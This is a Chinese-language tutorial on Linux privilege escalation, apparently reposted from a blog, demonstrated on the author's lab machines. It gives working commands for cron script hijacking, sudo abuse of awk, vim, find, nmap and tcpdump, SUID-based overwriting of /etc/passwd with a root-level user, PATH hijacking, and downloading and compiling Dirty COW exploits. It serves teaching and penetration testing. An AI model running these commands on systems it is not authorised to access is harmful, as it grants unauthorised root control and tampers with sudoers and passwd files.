linux提权入门

一、crontab提权

linux系统中可以使用crontab -e命令创建计划任务,/var/spool/cron/目录下保存着每个用户的定时任务,非root用户没有权限列出。另外还可以编辑/etc/crontab设置计划任务,该文件普通用户是可以查看的。

  1. 编辑/etc/crontab,设置每隔1分钟执行一次sh脚本
*/1 * * * * root sh /home/test/test.sh >> /tmp/test.txt
linux提权入门_第1张图片
image.png
  1. 如果test用户有权限操作test.sh,则存在提权漏洞。下面使用test用户修改test.sh:将test用户加入sudoers
[test@localhost ~]$ mv test.sh test.sh.bak
[test@localhost ~]$ vim test.sh
echo "test ALL=(root) NOPASSWD: ALL" >> /etc/sudoers
[test@localhost ~]$ cat test.sh
image.png
  1. 等待1分钟后,成功提权
[test@localhost ~]$ sudo su
[root@localhost test]# whoami
image.png

二、sudo提权

Linux系统中可以使用sudo执行一个只有root才能执行的命令,配置文件保存在/etc/sudoers,sudo -l可以列出当前用户支持sudo的命令。

  1. awk
  • 将awk加入/etc/sudoers
[root@localhost ~]# visudo
test ALL=(root) NOPASSWD: /usr/bin/awk
  • 执行提权
[test@localhost ~]$ sudo awk 'BEGIN {system("/bin/bash")}'
[root@localhost test]# whoami
root
image.png
  1. less、more
  • 将less和more加入/etc/sudoers
[root@localhost ~]# visudo
test ALL=(root) NOPASSWD: /usr/bin/awk,/usr/bin/less /var/log/vmware-install.log,/bin/more /var/log/vmware-install.log
  • 执行提权
[test@localhost ~]$ sudo less /var/log/vmware-install.log 
输入!/bin/bash
[root@localhost test]# whoami 
root
image.png
  1. vim
[test@localhost Desktop]$ sudo vim -c '!bash'
[root@localhost Desktop]# whoami
root
linux提权入门_第2张图片
image.png
  1. git
test@ubuntu:/home$ sudo git help status
输入!/bin/bash即可获得root权限
root@ubuntu:/home# whoami 
root
image.png
  1. find
[test@localhost ~]$ sudo find /bin/ -name ls -exec /bin/bash \;
[root@localhost test]# whoami
root
image.png
  1. nmap
  • 首先创建一个nse文件
[test@localhost ~]$ echo "os.execute('/bin/bash')" > /tmp/shell.nse
  • 然后使用nmap执行脚本进行提权
[test@localhost ~]$ sudo nmap --script=/tmp/shell.nse
linux提权入门_第3张图片
image.png
  1. tcpdump
  • 首先创建一个文件,并赋予执行权限
[test@localhost ~]$ cat /tmp/test 
echo "test ALL=(root) NOPASSWD: ALL" >> /etc/sudoers
[test@localhost ~]$ chmod +x /tmp/test
  • 进行提权操作
[test@localhost ~]$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/test -Z root

[test@localhost ~]$ sudo su
[root@localhost test]# whoami 
root
linux提权入门_第4张图片
image.png

三、S权限位

Linux中通过设置SUID,可以让程序的执行者临时拥有属主的权限,使用下面的命令可以搜索系统中所有的SUID可执行文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
  1. cp
    利用过程
  • 生成一个新的/etc/passwd,用户名data密码123
[test@localhost ~]$ cat /etc/passwd
[test@localhost ~]$ openssl passwd -1 -salt data 123
$1$data$GjDuj3QgL0edNBoahZ.Xg/
[test@localhost ~]$ touch passwd
将以下内容插入passwd,生成一个新的passwd文件
data:$1$data$GjDuj3QgL0edNBoahZ.Xg/:0:0::/root:/bin/bash
  • 假设cp具有SUID权限,可以通过替换/etc/passwd进行提权
[root@localhost ~]# chmod u+s /bin/cp
[test@localhost ~]$ cp passwd /etc/passwd
[test@localhost ~]$ su data
Password: 
[root@localhost test]# whoami 
root
linux提权入门_第5张图片
image.png
  1. bash
    以root身份打开一个bash shell
[test@localhost ~]$ bash -p
bash-4.1# whoami
root
  1. find
    查找文件的同时执行命令
[test@localhost ~]$ find /bin -name ls -exec whoami \;
root
image.png
  • 利用过程
    使用之前生成的passwd文件,并执行以下命令替换/etc/passwd,其中'{}'指passwd文件的内容
[test@localhost ~]$ find passwd -exec cp '{}' /etc/passwd \;
[test@localhost ~]$ su data
Password: 
[root@localhost test]# whoami 
root
linux提权入门_第6张图片
image.png

四、环境变量

  1. 假设当前有一段C语言代码,实现让普通用户可以免密码切到test用户
#include
void main()
{
    setuid(0);
    setgid(0);
    system("su test");
}
  1. 进行编译,并赋予S权限位
[root@localhost tmp]# gcc demo.c -o demo
[root@localhost tmp]# chmod u+s demo
  1. 添加环境变量进行提权
[coler@localhost tmp]$ echo "/bin/bash" > su
[coler@localhost tmp]$ chmod 777 su 
[coler@localhost tmp]$ pwd
/tmp
[coler@localhost tmp]$ export PATH=/tmp:$PATH
[coler@localhost tmp]$ ./demo 
[root@localhost tmp]# whoami 
root
[root@localhost tmp]# echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/coler/bin
linux提权入门_第7张图片
image.png

五、系统漏洞提权

脏牛漏洞:测试发现centos7.2之前能成功,7.3开始无法成功
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

  1. centos6.5
  • 下载并编译漏洞利用代码
[test@localhost ~]$ wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c
[test@localhost ~]$ gcc -pthread dirty.c -o dirty -lcrypt
  • 执行后会创建一个firefart用户,并将passwd文件备份到/tmp/passwd.bak
[test@localhost ~]$ ./dirty
linux提权入门_第8张图片
image.png
  • 此时切到firefart用户即为root权限,当然我们也可以替换之前的passwd文件
[test@localhost ~]$ su firefart
[firefart@localhost test]# id
[firefart@localhost test]# cp /tmp/passwd.bak /etc/passwd
linux提权入门_第9张图片
image.png
  1. centos7.2
  • 下载并编译漏洞利用代码
[test@localhost ~]$ wget https://raw.githubusercontent.com/gbonacini/CVE-2016-5195/master/dcow.cpp
[test@localhost ~]$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
  • 执行提权
[test@localhost ~]$ ./dcow 

你可能感兴趣的:(linux提权入门)